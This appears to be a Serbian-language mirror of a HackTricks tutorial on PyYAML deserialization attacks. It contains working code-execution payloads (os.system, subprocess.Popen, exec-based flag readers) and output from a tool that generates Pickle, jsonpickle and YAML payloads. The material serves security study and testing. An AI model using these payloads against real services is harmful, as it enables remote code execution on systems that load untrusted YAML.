mirror of
https://github.com/carlospolop/hacktricks
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165 lines
7.6 KiB
Markdown
165 lines
7.6 KiB
Markdown
<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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# Yaml **Deserializacija**
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**Yaml** python biblioteke takođe mogu da **serijalizuju python objekte** a ne samo sirove podatke:
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```
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print(yaml.dump(str("lol")))
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lol
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...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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- o
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- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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- 1
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```
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Proverite kako **tuple** nije sirovi tip podataka i stoga je bio **serijalizovan**. Isto se dogodilo i sa **range** (uzeto iz ugrađenih funkcija).
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 (1).png>)
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**safe\_load()** ili **safe\_load\_all()** koriste SafeLoader i **ne podržavaju deserijalizaciju objekata klase**. Primer deserijalizacije objekta klase:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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print(yaml.load(data, Loader=Loader)) #range(1, 10)
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print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load(data)) #range(1, 10)
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print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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Prethodni kod koristi **unsafe\_load** za učitavanje serijske klase u Pythonu. To je zato što u verziji **>= 5.1** ne dozvoljava da se **deserijalizuje bilo koja serijska klasa ili atribut klase**, ako nije specificiran Loader u load() ili Loader=SafeLoader.
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## Osnovni napad
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Primer kako **izvršiti sleep**:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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print(yaml.load(data, Loader=Loader)) #Executed
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print(yaml.load_all(data))
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print(yaml.load_all(data, Loader=Loader))
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print(yaml.load_all(data, Loader=UnsafeLoader))
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print(yaml.load_all(data, Loader=FullLoader))
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print(yaml.unsafe_load(data)) #Executed
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print(yaml.full_load_all(data))
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print(yaml.unsafe_load_all(data))
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```
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## Ranjiv `.load("\<sadržaj>")` bez Loader-a
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**Stare verzije** pyyaml-a su bile ranjive na napade deserializacije ako **niste specificirali Loader** prilikom učitavanja nečega: `yaml.load(data)`
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Možete pronaći [**opis ranjivosti ovde**](https://hackmd.io/@defund/HJZajCVlP)**.** Predloženi **eksploit** na toj stranici je:
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Ili možete koristiti ovaj **jednolinijski kod koji je pružio @ishaack**:
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```python
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import yaml; print(yaml.load('!!python/object/apply:os.system ["ls"]', Loader=yaml.Loader))
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```
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```yaml
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!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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```
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Napomena da u **novijim verzijama** više ne možete **pozvati `.load()`** **bez `Loader`-a** i **`FullLoader`** više nije ranjiv na ovaj napad.
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# RCE
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Prilagođeni payloadi mogu biti kreirani korišćenjem Python YAML modula kao što su **PyYAML** ili **ruamel.yaml**. Ovi payloadi mogu iskoristiti ranjivosti u sistemima koji deserijalizuju nepouzdane ulaze bez odgovarajuće sanitizacije.
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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```
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## Alat za kreiranje Payloada
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Alat [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) može se koristiti za generisanje python deserialization payloada kako bi se iskoristili **Pickle, PyYAML, jsonpickle i ruamel.yaml:**
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```bash
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python3 peas.py
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Enter RCE command :cat /root/flag.txt
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Enter operating system of target [linux/windows] . Default is linux :linux
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Want to base64 encode payload ? [N/y] :
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Enter File location and name to save :/tmp/example
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Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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Done Saving file !!!!
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cat /tmp/example_jspick
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{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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cat /tmp/example_pick | base64 -w0
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gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
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cat /tmp/example_yaml
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!!python/object/apply:subprocess.Popen
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- !!python/tuple
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- cat
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- /root/flag.txt
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```
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## Reference
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* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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|
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* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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